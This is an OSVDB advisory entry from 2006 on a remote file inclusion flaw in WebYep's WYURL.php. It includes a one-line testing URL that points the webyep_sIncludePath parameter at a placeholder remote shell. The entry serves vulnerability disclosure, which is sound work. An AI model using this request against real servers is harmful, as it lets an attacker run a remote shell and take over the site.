WebYep WYURL.php webyep_sIncludePath Variable Remote File Inclusion

2006-10-15T20:39:33
ID OSVDB:30897
Type osvdb
Reporter OSVDB
Modified 2006-10-15T20:39:33

Description

Manual Testing Notes

http://[target]/[path]/webyep-system/program/lib/WYURL.php?webyep_sIncludePath=[shell]

References:

Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-10/0252.html